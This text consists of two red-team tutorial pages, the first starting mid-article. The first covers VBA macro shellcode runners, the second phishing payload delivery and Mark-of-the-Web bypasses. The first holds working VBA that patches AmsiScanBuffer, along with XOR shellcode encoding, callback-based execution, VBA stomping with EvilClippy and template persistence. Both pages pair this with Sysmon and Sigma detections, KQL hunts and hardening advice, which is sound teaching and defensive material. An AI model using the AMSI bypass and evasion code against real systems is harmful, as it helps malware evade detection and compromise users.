Office 2019+ integrates AMSI into the VBA runtime. amsi.dll gets loaded into WINWORD.EXE and every macro buffer passes through AmsiScanBuffer before execution. Your raw shellcode array with VirtualAlloc and CreateThread will get flagged immediately once you re-enable Defender.

The standard bypass patches AmsiScanBuffer in-process so it returns AMSI_RESULT_CLEAN without scanning. The sequence:

  1. LoadLibraryA("amsi.dll") – get the module handle
  2. GetProcAddress(handle, "AmsiScanBuffer") – resolve the function
  3. VirtualProtect – mark the first bytes as PAGE_EXECUTE_READWRITE
  4. Overwrite with a stub that returns clean: mov eax, 0x80070057; ret (0xB8 0x57 0x00 0x07 0x80 0xC3)

Note the Alias trick – declare RtlFillMemory as Patcher so the string RtlMoveMemory never appears:

Private Declare PtrSafe Function LoadLibraryA Lib "kernel32" _
    (ByVal lpFile As String) As LongPtr
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" _
    (ByVal hMod As LongPtr, ByVal lpName As String) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" _
    (lpAddr As Any, ByVal dwSize As LongPtr, _
     ByVal flProt As Long, lpOld As Long) As Long
Private Declare PtrSafe Sub Patcher Lib "kernel32" Alias "RtlFillMemory" _
    (Destination As Any, ByVal Length As Long, ByVal Fill As Byte)

Sub PatchAMSI()
    Dim hAmsi As LongPtr
    Dim pScan As LongPtr
    Dim oldProt As Long

    hAmsi = LoadLibraryA("amsi.dll")
    pScan = GetProcAddress(hAmsi, "AmsiScanBuffer")
    VirtualProtect ByVal pScan, 8, &H40, oldProt

    ' Overwrite: mov eax, 0x80070057; ret
    Patcher ByVal pScan, 1, &HB8        ' mov eax, imm32
    Patcher ByVal (pScan + 1), 1, &H57  ' 0x57
    Patcher ByVal (pScan + 2), 1, &H0   ' 0x00
    Patcher ByVal (pScan + 3), 1, &H7   ' 0x07
    Patcher ByVal (pScan + 4), 1, &H80  ' 0x80
    Patcher ByVal (pScan + 5), 1, &HC3  ' ret
End Sub

Call PatchAMSI at the top of Document_Open, before RunShell. AMSI is now blind for the remainder of that process.

A gotcha that cost me a solid hour: the string "AmsiScanBuffer" itself triggers AMSI. You can split it at runtime – "Amsi" & "Scan" & "Buffer" – or build it from Chr() calls. The irony of AMSI detecting its own bypass string is almost funny until it blocks your lab work.


Flowchart of the four-step in-process AMSI bypass sequence - loading amsi.dll, resolving AmsiScanBuffer, unprotecting memory, and patching with a clean-return stub
Patching AmsiScanBuffer in-process blinds AMSI for the entire WINWORD.EXE lifetime before the shellcode runner fires.

7. Evasion Techniques

XOR-Encoded Shellcode

Static signatures match raw shellcode byte patterns. XOR the array with a single-byte key before embedding it:

# xor_encode.py — run on Kali
import sys
key = 0xAA
with open(sys.argv[1], "rb") as f:
    raw = bytearray(f.read())
encoded = [b ^ key for b in raw]
print("buf = Array(" + ",".join(str(b) for b in encoded) + ")")
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
python3 xor_encode.py calc.bin

The VBA decode loop XORs each byte back before copying:

Dim key As Byte: key = &HAA
For counter = LBound(buf) To UBound(buf)
    data = buf(counter) Xor key
    RtlMoveMemory addr + counter, data, 1
Next counter

Callback-Based Execution

CreateThread is the most-flagged execution primitive. Several Win32 functions accept callback pointers – point them at your shellcode instead:

Private Declare PtrSafe Function HeapAlloc Lib "kernel32" _
    (ByVal hHeap As LongPtr, ByVal dwFlags As Long, _
     ByVal dwBytes As Long) As LongPtr
Private Declare PtrSafe Function GetProcessHeap Lib "kernel32" () As LongPtr
Private Declare PtrSafe Function EnumSystemLocalesA Lib "kernel32" _
    (ByVal lpLocaleEnumProc As LongPtr, ByVal dwFlags As Long) As Long

Allocate with HeapAlloc (avoids VirtualAlloc), copy shellcode in, then:

EnumSystemLocalesA addr, 0

EnumSystemLocalesA treats addr as a callback function pointer and calls it. Other callback primitives: FlsAlloc, the Lazarus Group’s UuidFromStringA technique (which copies UUID-encoded shellcode to RWX memory), and DispCallFunc from OleAut32.dll for indirect API invocation. Each one dodges a different set of behavioral signatures.


8. VBA Stomping with EvilClippy

VBA stomping removes the source code from the module streams while preserving the compiled p-code in _VBA_PROJECT. If the victim’s Office version matches the version stamp in the p-code, Office executes the p-code directly and never notices the source is gone – or replaced with something benign.

git clone https://github.com/outflanknl/EvilClippy
cd EvilClippy && dotnet build
# Stomp: replace visible source with benign code
echo 'Sub Document_Open()' > fake.vba
echo '  MsgBox "Hello"' >> fake.vba
echo 'End Sub' >> fake.vba
mono EvilClippy.exe -s fake.vba lab_macro.docm

Verify with olevba – it will report the benign source but flag a p-code/source mismatch. That mismatch is exactly what defenders should hunt for with YARA rules at the email gateway.


Hierarchy diagram of an OLE compound document showing the dir stream, VBA module source streams, and _VBA_PROJECT p-code stream, with EvilClippy replacing source with benign content while malicious p-code remains
VBA stomping exploits the split between human-readable source and compiled p-code – Office runs the p-code while analysts and olevba see only the fake benign source.

9. Persistence via Office Templates

For longer-term access, inject macros into the global template. Every Word document loads Normal.dotm on open:

  • Word: %APPDATA%\Microsoft\Templates\Normal.dotm
  • Excel: %APPDATA%\Microsoft\Excel\XLSTART\PERSONAL.XLSB

Alternatively, hijack the GlobalDotName registry key to redirect Word’s template load path to your controlled .dotm, or use remote template injection – the document’s Settings.xml.rels references a .dotm at a UNC or HTTP path, fetched on open. The document itself contains no macros, evading static analysis. The macro payload lives on your infrastructure.


10. Detection, Hunting, and Hardening

Sysmon Events

Event IDHunt For
1WINWORD.EXE or EXCEL.EXE spawning cmd.exe, powershell.exe, mshta.exe
7Office processes loading VBE7.DLL, VBE7INTL.DLL (macro engine), amsi.dll
8Office process creating remote threads (post-exploitation injection)
10Office process opening handles to lsass.exe
11Office dropping files to %TEMP%, %APPDATA%, Startup folders
12/13Writes to VBAWarnings, TrustRecords registry keys

Sigma Rules

title: Office Application Spawning Shell Process
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 1
    ParentImage|endswith:
      - '\WINWORD.EXE'
      - '\EXCEL.EXE'
      - '\POWERPNT.EXE'
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\wscript.exe'
      - '\mshta.exe'
  condition: selection
level: high
title: VBA Macro Engine DLL Loaded by Office
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 7
    Image|endswith:
      - '\WINWORD.EXE'
      - '\EXCEL.EXE'
    ImageLoaded|contains: 'VBE7.DLL'
  condition: selection
level: medium

Hardening

  • ASR Rule D4F940AB-401B-4EFC-AADC-AD5F3C50688A – Block Office apps from creating child processes. This single rule kills the entire macro-to-shell chain.
  • ASR Rule 75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84 – Block Office apps from injecting code into other processes.
  • Group Policy: Block macros from running in Office files from the Internet (the 2022 MotW-based macro block).
  • VBAWarnings = 4 via GPO – disables all macros without notification.
  • Require signed macros (VBAWarnings = 3) – only digitally signed macros execute.
  • Scan .docm, .xlsm, .dotm at the email gateway with olevba and YARA rules for Declare, VirtualAlloc, CreateThread, and p-code/source mismatches.

11. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Spearphishing AttachmentT1566.001Email gateway, Sysmon Event 11
User Execution: Malicious FileT1204.002Sysmon Event 1 (Office spawning child)
Command and Scripting Interpreter: Visual BasicT1059.005Sysmon Event 7 (VBE7.DLL load), AMSI ETW
Native APIT1106ETW Microsoft-Windows-Threat-Intelligence (RWX alloc)
Obfuscated Files or InformationT1027Static analysis, YARA, olevba keyword scan
VBA StompingT1564.007olevba p-code/source mismatch detection
Office Template MacrosT1137.001Sysmon Event 11 (Normal.dotm modification), registry monitoring
Template InjectionT1221Network monitoring for .dotm fetches on document open
Modify RegistryT1112Sysmon Event 13 (VBAWarnings writes)

12. Tools

ToolPurposeLink
olevba (oletools)Extract & analyze VBA from OLE documentsgithub.com/decalage2/oletools
oledump.pyLow-level OLE stream inspectionblog.didierstevens.com
EvilClippyVBA stomping – replace source, preserve p-codegithub.com/outflanknl/EvilClippy
msfvenomShellcode generation (vbapplication format)metasploit.com
Process HackerInspect loaded DLLs, memory regions in Office processprocesshacker.sourceforge.io
x64dbgDebug Office process, verify shellcode executionx64dbg.com
SysmonEndpoint telemetry (Events 1, 7, 8, 10, 11, 13)learn.microsoft.com

Summary

  • The three-API pattern – VirtualAllocRtlMoveMemoryCreateThread – is the foundation of every VBA shellcode runner, and understanding it end-to-end is prerequisite to both building and detecting macro payloads.
  • Auto-trigger subs (Document_Open, AutoOpen) execute on “Enable Content” with zero further interaction; pair both in every payload for compatibility.
  • AMSI integration in Office 2019+ catches raw payloads; the in-process AmsiScanBuffer patch bypasses it, but the Alias keyword and string-splitting are needed to avoid AMSI flagging the bypass itself.
  • Callback-based execution (EnumSystemLocalesA, FlsAlloc, UuidFromStringA) and VBA stomping raise the evasion bar – detect them with ETW telemetry, olevba p-code analysis, and behavioral rules rather than static signatures.
  • ASR rule D4F940AB (block Office child processes) kills the entire chain. Deploy it. Scan inbound documents at the gateway with olevba and YARA. Hunt Sysmon Event 7 for VBE7.DLL loads and Event 1 for Office-spawned shells.

Related Tutorials

References

Payload Delivery via Email: Attachments, Links, and Bypassing Filters

Objective: Trace the full email delivery chain an authorized red team emulates – attachment, link, and filter-bypass tradecraft mapped to MITRE ATT&CK T1566 – and learn the Sysmon, ETW, and header-forensics signals that let a blue team catch each stage.


The gateway scanned the message. SPF passed, DKIM passed, the attachment was a clean .iso, and the body link pointed at a Google Docs URL nobody had ever flagged. Forty seconds after the user double-clicked, a powershell.exe process with OUTLOOK.EXE somewhere up its parent chain reached out to a freshly-aged domain. Everything technically worked as designed. That gap – between “the mail filter saw nothing wrong” and “the endpoint is now executing attacker code” – is the entire subject of this post.

Email is still the number-one initial access vector, and the reason is structural: the security boundary lives at the gateway, but execution happens on the endpoint, and a lot of clever tradecraft exists purely to widen the distance between those two points. We’ll walk the chain a red teamer assembles, then pair every step with how a defender sees it.

This is engagement material. Phishing simulations require written authorization, a defined scope, and rules of engagement – credential-harvesting pages and payload staging against real users are not something you improvise. Treat everything below as “how it works so you can detect it or test with permission.”


1. How Mail Actually Gets Inspected

Before you can bypass a filter you have to know what it reads. A message traverses SMTP relays, gets routed by the recipient’s MX record into a Secure Email Gateway (SEG) or a cloud-native filter – Microsoft Defender for Office 365, Google Workspace – and only then lands in a mailbox. Three authentication checks dominate that inspection:

ProtocolDNS RecordWhat It Proves
SPFTXTThe sending IP is authorized for the envelope domain
DKIMTXT (selector)Headers/body were signed by the domain’s private key (DKIM-Signature: d= domain, s= selector, bh=, b=)
DMARC_dmarc. TXTAlignment policy (p=none/quarantine/reject) plus rua= aggregate reporting

Here’s a point worth committing to: DMARC p=reject is sold as the cure, and it does kill naive spoofing. The phish it does nothing against is the one sent from a real, compromised business account. That mail passes SPF and DKIM because it genuinely is the sender. No protocol bypass required – the trust is authentic. Keep that asymmetry in mind; it shapes the rest of the tradecraft.

A defender’s first move on a suspicious message is to parse the headers. Python’s email module does it in a few lines:

from email import policy
from email.parser import BytesParser

with open("sample.eml", "rb") as fh:
    msg = BytesParser(policy=policy.default).parse(fh)

# spf= / dkim= / dmarc= verdicts the receiving MTA stamped on the mail
for line in msg.get_all("Authentication-Results", []):
    print(line)

print("From:        ", msg["From"])
print("Return-Path: ", msg["Return-Path"])           # envelope vs. display mismatch?
for rec in msg.get_all("Received", []):
    print("Received:", rec.strip()[:120])            # walk the relay chain bottom-up

Watch for a From: display name that disagrees with Return-Path, a Received chain that originates somewhere implausible, and X-MS-Exchange-Organization-SCL spam-confidence values. Cross-reference embedded URLs and the originating domain against WHOIS for recent registration.


Flow diagram showing the email delivery chain from sender MTA through SPF/DKIM/DMARC DNS checks, a Secure Email Gateway, cloud filter, recipient mailbox, and finally endpoint execution
The inspection boundary sits at the gateway; execution happens on the endpoint – every bypass technique exploits that gap.

2. Spearphishing Attachments (T1566.001)

Attachment delivery relies on User Execution (T1204.002) – the file is inert until someone opens it. For years the workhorse was a macro-laden Word or Excel document. Then Microsoft began blocking VBA macros in files marked with the Mark of the Web by default in 2022, and the entire ecosystem pivoted.

What replaced macros:

TechniqueDescription
Container files (.iso, .img, .vhd, .vhdx)Mount on double-click, present a .lnk disguised as a document; inner files often escape MotW
LNK chainsShortcut launches a hidden powershell.exe, wscript.exe, or mshta.exe command line
OneNote embedsAn embedded “View Document” button runs an attached VBScript when clicked
Extension masqueradeinvoice.pdf.lnk, double extensions, RLO Unicode tricks in the display name
Remote template injection (T1221)A benign .docx pulls a weaponized .dotm from an attacker URL after open

The observed kill chain is consistent across families: the lure file launches a LOLBin, and the LOLBin does the real work. winword.exe spawning rundll32.exe to load a dropped ier.dll. mshta.exe fetching a remote HTA. powershell.exe staging a second-stage implant. The parent-child relationship is the tell, and it’s also the detection seam we’ll exploit in §6.

A war story to make this concrete: on one engagement our .iso lure cleared the gateway perfectly, the user mounted it, clicked the LNK – and nothing happened. We’d spent a day perfecting the MotW evasion and forgotten the host had the ASR rule Block Office applications from creating child processes enabled. The payload was fine. The execution primitive was dead. MotW is not the only wall.


Flow diagram of the attachment phishing kill chain: lure file triggers a MotW check, bypasses it, launches a LOLBin, fetches a second-stage implant, and establishes C2 callback
The consistent pattern across modern attachment families – lure to LOLBin to implant – is also the detection seam defenders exploit.

3. Mark of the Web – the Control Everything Fights

When a file arrives from the Internet, Windows tags it with a hidden NTFS Alternate Data Stream named Zone.Identifier carrying a ZoneId. ZoneId=3 is the Internet zone. That tag is the MotW, and it’s the linchpin for downstream protections: Office files with MotW open in Protected View, and tagged executables get routed through Windows Defender SmartScreen, which checks them against an allowlist of known-good binaries and warns on anything unrecognized.

The propagation machinery lives in a few documented APIs:

API / InterfacePurpose
IAttachmentExecuteInterface browsers and mail clients use to apply MotW to downloads automatically
AssocIsDangerousReturns true for high-risk extensions, triggering the SmartScreen prompt
AssocGetUrlActionThe wrapper AssocIsDangerous calls; holds the hardcoded high-risk extension list

Defenders should be able to confirm whether a file carries the tag. PowerShell reads the stream directly:

# A downloaded container DOES carry the tag:
Get-Content -Path .\invoice.iso -Stream Zone.Identifier
# [ZoneTransfer]
# ZoneId=3

# But a file extracted FROM that container frequently does NOT — list its streams:
Get-Item -Path D:\document.lnk -Stream * | Select-Object Stream, Length

The Container Bypass (T1553.005)

Here’s the design flaw. MotW is an NTFS feature. Many container formats don’t support NTFS alternate data streams, so while the downloaded .iso or .vhd itself gets tagged, the files inside it don’t inherit the tag once extracted or mounted. They’re treated as local files – no Protected View, no SmartScreen. This is precisely why .iso/.img/.vhd/.vhdx became the post-macro delivery vehicle of choice. The Kaspersky-documented BlueNoroff intrusions leaned on exactly this.

CVE-2025-0411 extends the same idea to 7-Zip: versions before 24.09 fail to propagate MotW to double-compressed files, letting an inner payload execute without a warning.

LNK Stomping (CVE-2024-38217)

LNK stomping abuses how the shell canonicalizes shortcut files. Craft a .lnk with a non-standard target path or malformed internal structure, and Windows “fixes” it on access – rewriting the file and discarding the MotW metadata in the process. No tag, no SmartScreen prompt. Microsoft patched it on September 10, 2024, and CISA added it to the Known Exploited Vulnerabilities catalog, confirming in-the-wild use.

The component under attack is the LinkTarget IDList – the series of Shell Item IDs describing where the target lives in the shell namespace. Elastic Security Labs and ASEC documented three variants:

VariantManipulation
PathSegmentEntire file path stuffed into a single IDList array element
DotTrailing periods or spaces appended to the target path
RelativeBare filename with no complete path specification

This is the structural layout an analyst should recognize – not a stomped artefact:

import struct
# ShellLinkHeader (partial) per MS-SHLLINK — EDUCATIONAL layout only.
header = struct.pack(
    "<I16sI",
    0x0000004C,                                                 # HeaderSize (fixed)
    bytes.fromhex("0114020000000000c000000000000046"),          # LinkCLSID
    0x00000001 | 0x00000004,                                    # HasLinkTargetIDList | HasName
)
# Immediately after the header: the LinkTarget IDList (a sequence of ItemIDs).
# Stomping mutates these ItemIDs so the shell re-canonicalizes — and drops MotW.

4. Spearphishing Links (T1566.002) and AiTM

Linking instead of attaching is a deliberate evasion: the gateway inspects a URL, not a file, so there’s nothing binary to detonate at delivery time. The execution still needs the user – User Execution: Malicious Link (T1204.001).

The craft is all about legitimacy laundering. Point the in-body link at a trusted SaaS surface – a Google Docs share, a OneDrive link, an open redirect on a reputable domain – so the SEG scans a benign destination and the malicious hop happens later. URL redirector abuse defeats time-of-delivery reputation entirely.

The high-end variant is Adversary-in-the-Middle (T1557) phishing. Instead of a static fake login page, a reverse-proxy kit relays the victim’s session to the real identity provider in real time, harvesting credentials and the post-MFA session cookie. It maps to Phishing for Information: Spearphishing Link (T1598.003) when the goal is credential collection. Tooling like Evilginx2 implements the concept; the defensive takeaway is that stolen session tokens make MFA-enforced accounts vulnerable, so conditional-access and token-binding controls matter more than the password prompt.


5. HTML Smuggling (T1027.006)

HTML smuggling moves payload assembly off the wire and into the browser. The email or its attached HTML carries no recognizable binary; instead, JavaScript reconstructs the file client-side and hands it to the browser’s download mechanism. The gateway scans markup and sees nothing actionable.

The conceptual pattern – BlobURL.createObjectURL() → anchor .click() – looks like this. It is annotated pseudocode to show defenders the seam, not a working payload:

// CONCEPTUAL ONLY — not production code, no real payload.
const bytes = decodeEmbeddedData();              // assembled in-browser from inline data
const blob  = new Blob([bytes],                  // (1) file built entirely client-side
                       { type: "application/octet-stream" });
const url   = URL.createObjectURL(blob);         // (2) local blob: URL — no network fetch
const a     = document.createElement("a");
a.href = url; a.download = "report.iso";         // (3) browser writes to Downloads
a.click();                                       //     file gets MotW; the gateway saw markup

Legacy Edge/IE used msSaveOrOpenBlob for the same end. The crucial point for detection: the gateway never observes a suspicious file, but the endpoint does – the assembled file lands in Downloads and receives a Zone.Identifier tag. Your visibility shifts entirely to the host. QakBot and related loaders made this a commodity technique.


6. QR Phishing, Infrastructure, and the Simulated Campaign

Quishing embeds the malicious URL in a QR code, pushing the victim onto a mobile device where corporate EDR and URL rewriting rarely reach. An image-embedded QR also defeats text-based URL scanning outright – there’s no clickable string in the body to inspect.

On the infrastructure side, a credible operation invests before a single mail goes out:

TechniqueAbuse Scenario
Domain agingSit on a registered domain so reputation engines stop flagging it as newly created
Homoglyph / typosquattingUnicode lookalikes in the From: display name
Attacker-controlled DKIMSign mail from owned domains so it passes authentication checks
Compromised legitimate accountsSend from a real mailbox – passes SPF/DKIM by definition, the hardest case to catch

A sanctioned phishing simulation ties these together conceptually with GoPhish: profile targets, build a lure and a tracked landing page, stage the payload, and measure click/submit rates – all against consenting users inside scope, with no weaponized artefacts left behind. The value to the org is the same data a real campaign would yield, captured safely.


7. Defensive Strategies and Detection

Delivery is hard to block at the gateway by design, so detection concentrates on the endpoint after the lure fires. Sysmon gives you the chain:

Event IDNamePhishing Relevance
1Process CreateEmail-client children – watch ParentImage, CommandLine, User
3Network ConnectionOutbound from attachment-spawned processes – DestinationIp, Image
11File CreateDropped lure/next-stage files in mail temp paths – TargetFilename
15FileCreateStreamHashADS creation, including Zone.Identifier – your MotW-presence signal
22DNS QueryLookups from post-phish processes – QueryName, Image

Layer ETW on top: Microsoft-Windows-PowerShell/Operational Event ID 4104 (Script Block Logging) captures deobfuscated PowerShell; the AMSI provider scans script content pre-execution; Microsoft-Office-Alerts records macro-blocked events. Enable command-line process auditing (Event ID 4688 with IncludeCmdLine) and object-access auditing on the Outlook temp folder under Content.Outlook\.

The highest-value rule keys on the parent-child seam – an Office app or Outlook spawning an interpreter:

title: Office or Outlook Spawning Script Interpreter
status: experimental
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 1
    ParentImage|endswith:
      - '\OUTLOOK.EXE'
      - '\WINWORD.EXE'
      - '\EXCEL.EXE'
    Image|endswith:
      - '\powershell.exe'
      - '\wscript.exe'
      - '\cscript.exe'
      - '\mshta.exe'
      - '\cmd.exe'
      - '\rundll32.exe'
  condition: selection
level: high

Watch for the absence of a Zone.Identifier on files that should have one – that’s the container-bypass signature. A focused Sysmon config surfaces both the stream and the mail temp path:

<Sysmon schemaversion="4.90">
  <EventFiltering>
    <RuleGroup name="MotW-staging" groupRelation="or">
      <!-- Event 15 captures ADS creation, including Zone.Identifier -->
      <FileCreateStreamHash onmatch="include">
        <TargetFilename condition="end with">:Zone.Identifier</TargetFilename>
      </FileCreateStreamHash>
      <!-- Event 11 watches files dropped into the Outlook cache -->
      <FileCreate onmatch="include">
        <TargetFilename condition="contains">\Content.Outlook\</TargetFilename>
      </FileCreate>
    </RuleGroup>
  </EventFiltering>
</Sysmon>

Correlation closes the loop – process spawn followed by an outbound connection inside a tight window:

DeviceProcessEvents
| where InitiatingProcessFileName =~ "outlook.exe"
| project ProcTime = TimeGenerated, DeviceId, ChildProc = FileName, CommandLine
| join kind=inner (
    DeviceNetworkEvents
    | project NetTime = TimeGenerated, DeviceId, RemoteIP, RemoteUrl
  ) on DeviceId
| where NetTime between (ProcTime .. ProcTime + 60s)
| project ProcTime, NetTime, DeviceId, ChildProc, CommandLine, RemoteUrl, RemoteIP

Hardening

Defenders should verify the macro policy is actually enforced, not assumed:

$base = "HKCU:\SOFTWARE\Policies\Microsoft\Office\16.0"
foreach ($app in "Word","Excel","PowerPoint","Outlook") {
    $key = Join-Path $base "$app\Security"
    $val = (Get-ItemProperty -Path $key -Name VBAWarnings -ErrorAction SilentlyContinue).VBAWarnings
    "{0,-11} VBAWarnings = {1}" -f $app, ($val ?? "NOT SET")   # 4 = disable all macros
}
MitigationDescription
Macro policy VBAWarnings = 4Disable all macros without notification across Office apps via GPO
ASR child-process blockGUID d4f940ab-401b-4efc-aadc-ad5f3c50688a stops Office spawning interpreters
ASR obfuscated-script blockGUID 5beb7efe-fd9a-4556-801d-275e5ffc04cc
Disable image auto-mountRemove the shell mount handler for .iso/.img/.vhd; restrict .lnk from temp/Downloads via AppLocker/WDAC
Safe Links / Safe AttachmentsTime-of-click URL detonation and attachment sandboxing in Defender for O365
DMARC p=rejectReject unauthenticated mail claiming your domain
Patch 7-Zip ≥ 24.09Closes CVE-2025-0411 double-compression MotW bypass

Tools

ToolDescriptionLink
GoPhishAuthorized open-source phishing-simulation frameworkgetgophish.com
oletoolsMacro/VBA extraction and analysis from Office docsgithub.com
pylnk3Parse and inspect .lnk structure (LinkTarget IDList)github.com
SysmonProcess, network, file-stream telemetrylearn.microsoft.com
ANY.RUNInteractive sandbox for attachment detonationany.run
Joe SandboxAutomated behavioral attachment analysisjoesandbox.com

MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
PhishingT1566Header forensics; SEG/cloud filter telemetry
Spearphishing AttachmentT1566.001Sysmon 1 parent-child; 15 MotW stream
Spearphishing LinkT1566.002Sysmon 22 DNS; Safe Links click logs
Spearphishing via ServiceT1566.003Non-email channel monitoring
Mark-of-the-Web BypassT1553.005Missing Zone.Identifier on extracted files
User Execution: File / LinkT1204.002 / .001Process create from mail client
HTML SmugglingT1027.006Endpoint Downloads + MotW; blob anomalies
Template InjectionT1221Outbound fetch from WINWORD.EXE
Phishing for InformationT1598.003Credential-page referrers
Adversary-in-the-MiddleT1557Anomalous session-token use, impossible travel

Hierarchy diagram showing three layers of phishing detection: gateway and header forensics with SPF/DKIM/DMARC, host telemetry covering Sysmon event IDs for parent-child, MotW, and network events, and hardening controls including ASR rules and macro policy
Layered detection spans the gateway, host telemetry, and proactive hardening – no single control covers the full delivery chain.

Summary

  • Email payload delivery (T1566) wins because the inspection boundary is the gateway, but execution is on the endpoint – every advanced technique just widens that gap.
  • Attachments pivoted from macros to containers and LNKs after Microsoft’s 2022 macro block; the consistent kill chain is a lure spawning a LOLBin (powershell.exe, mshta.exe, rundll32.exe).
  • The Mark of the Web is the control everything fights – container formats strip it from inner files (T1553.005), and CVE-2024-38217 LNK stomping plus CVE-2025-0411 7-Zip remove it outright.
  • HTML smuggling and quishing move payload assembly off the wire, so detection shifts almost entirely to host telemetry.
  • Catch it with the parent-child seam – Sysmon Event ID 1 (Office/Outlook → interpreter), 15 for Zone.Identifier presence, 3/22 for callbacks – and harden with ASR rules, VBAWarnings = 4, disabled image auto-mount, and DMARC p=reject.

Related Tutorials

References